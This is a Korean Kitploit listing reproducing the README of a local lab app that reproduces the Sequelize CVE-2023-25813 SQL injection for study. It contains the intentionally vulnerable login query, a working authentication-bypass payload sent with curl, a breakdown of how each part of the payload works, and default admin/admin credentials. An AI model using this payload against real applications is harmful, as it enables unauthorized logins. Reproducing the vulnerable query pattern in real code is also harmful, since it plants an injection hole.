Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-25813-TEST — Sequelize SQL 인젝션 취약점 구현 | Kitploit
도구/GitHubGitHub/h-gunp/cve-2023-25813-test
Vulnerability AnalysisWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubh-gunp/cve-2023-25813-test

CVE-2023-25813-TEST

Sequelize SQL 인젝션 취약점 구현

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE Test App

Sequelize CVE-2023-25813 동작을 로컬에서 확인하기 위한 Express + MySQL 실습 앱입니다.

이 프로젝트는 의도적으로 취약한 Sequelize 버전과 취약한 로그인 쿼리 패턴을 유지합니다. 인터넷에 노출하지 말고 로컬 Docker 실습 환경에서만 실행하세요.

구성

  • Web: Express, EJS
  • DB: MySQL 8.0
  • ORM: Sequelize 6.19.0
  • Docker DB 포트: localhost:3307
  • Web 포트: localhost:3000

주요 기능:

  • 회원가입
  • 로그인/로그아웃
  • 현재 접속 계정 표시
  • 게시글 작성/수정/삭제
  • 앱 시작 시 DB 자동 생성
  • 앱 시작 시 admin 계정 자동 생성
  • CVE-2023-25813 재현용 로그인 라우트

환경변수

.env 파일을 사용합니다. 예시는 .env.example을 참고하세요.

root@kitploit:~
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin

Docker 실행 시 앱 컨테이너는 로컬 MySQL이 아니라 Compose 내부의 db 서비스를 사용합니다.

root@kitploit:~
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307

Docker 실행

Docker Desktop을 켠 뒤 PowerShell에서 실행합니다.

root@kitploit:~
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build

브라우저에서 접속합니다.

root@kitploit:~
http://localhost:3000

상태 확인:

root@kitploit:~
docker compose ps
docker compose logs app --tail 50

중지:

root@kitploit:~
docker compose down

DB 데이터까지 초기화:

root@kitploit:~
docker compose down -v

DB 확인

Docker 안의 MySQL에 직접 접속하려면:

root@kitploit:~
docker compose exec db mysql -uroot -p cve_test_db

비밀번호는 .env의 DB_PASSWORD 값입니다.

Workbench 같은 GUI 도구에서는 아래 값으로 접속합니다.

root@kitploit:~
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db

DB가 생성되어 있으면 앱 로그에 이런 메시지가 나옵니다.

root@kitploit:~
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중

기본 관리자 계정

앱 시작 시 .env 값으로 admin 계정을 자동 생성합니다.

기본값:

root@kitploit:~
아이디: admin
비밀번호: admin

로그인하면 메인 페이지 상단에 현재 접속 계정이 표시됩니다.

root@kitploit:~
현재 접속 계정: admin

정상 로그인 확인

브라우저에서 /login으로 이동한 뒤:

root@kitploit:~
아이디: admin
비밀번호: admin

성공하면 /로 이동하고 메인 페이지에 현재 접속 계정이 보입니다.

curl로 확인하려면:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=admin" `
  --data-urlencode "password=admin"

성공 기준:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

CVE 실습 페이로드

브라우저에서 /login으로 이동한 뒤 아래 값을 입력합니다.

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

성공하면 /login?error=invalid가 아니라 /로 이동합니다. 메인 페이지의 현재 접속 계정도 로그인된 사용자로 표시됩니다.

curl로 확인:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=/**/OR/**/1=1)/**/#" `
  --data-urlencode "password=:username"

성공 기준:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

페이로드 원리

취약한 코드는 로그인 라우트에 있습니다.

root@kitploit:~
const user = await User.findOne({
    where: and(
        literal('username = :username'),
        { password }
    ),
    replacements: { username: username }
});

정상 로그인이라면 SQL은 대략 이런 형태가 됩니다.

root@kitploit:~
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;

문제는 literal('username = :username'), { password }, replacements를 같은 쿼리에 섞어 쓰는 부분입니다. Sequelize 6.19.0에서는 replacements가 쿼리 전체에 적용되면서, 사용자가 입력한 password 값 안의 :username까지 치환될 수 있습니다.

실습 페이로드는 이렇게 넣습니다.

root@kitploit:~
username = /**/OR/**/1=1)/**/#
password = :username

이때 실제 쿼리는 로그에서 대략 이런 형태로 보입니다.

root@kitploit:~
WHERE (
  username = '/**/OR/**/1=1)/**/#'
  AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;

각 조각의 의미:

  • password=:username: 비밀번호 칸에서도 username 치환이 다시 일어나게 만드는 핵심입니다.
  • /**/: MySQL에서 주석으로 처리되는 블록입니다. 공백처럼 동작하므로 OR 앞뒤 공백이 잘려도 SQL 토큰이 분리됩니다.
  • OR 1=1: 항상 참인 조건을 추가합니다.
  • ): Sequelize가 만든 AND(...) 조건 그룹을 닫습니다.
  • #: MySQL 한 줄 주석입니다. 뒤에 붙는 남은 따옴표와 LIMIT 1 주변 조각을 주석 처리해 문법 오류를 피합니다.

결과적으로 조건이 항상 참이 되어 첫 번째 사용자 행이 조회되고, 앱은 로그인 성공으로 처리합니다.

자주 나는 오류

SQL syntax error가 뜨는 경우

아래처럼 공백에 의존하는 페이로드는 브라우저 입력 과정에서 앞/뒤 공백이 사라지면 실패할 수 있습니다.

root@kitploit:~
 OR 1=1) -- 

MySQL의 -- 주석은 뒤에 공백이 필요합니다. 공백이 빠지면 주석으로 인식되지 않아 문법 오류가 납니다.

이 프로젝트에서는 아래 페이로드를 권장합니다.

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

DB가 로컬 MySQL에 안 보이는 경우

Docker 실행 시 DB는 로컬 MySQL 서버가 아니라 Docker의 db 컨테이너에 생성됩니다. 호스트 PC에서 보려면 localhost:3307로 접속하세요.

npm audit 경고가 뜨는 경우

정상입니다. 이 앱은 CVE 실습을 위해 취약한 Sequelize 버전을 유지합니다.

root@kitploit:~
[email protected]

npm audit fix를 실행하면 실습 대상 취약점이 사라질 수 있습니다.

도구 다운로드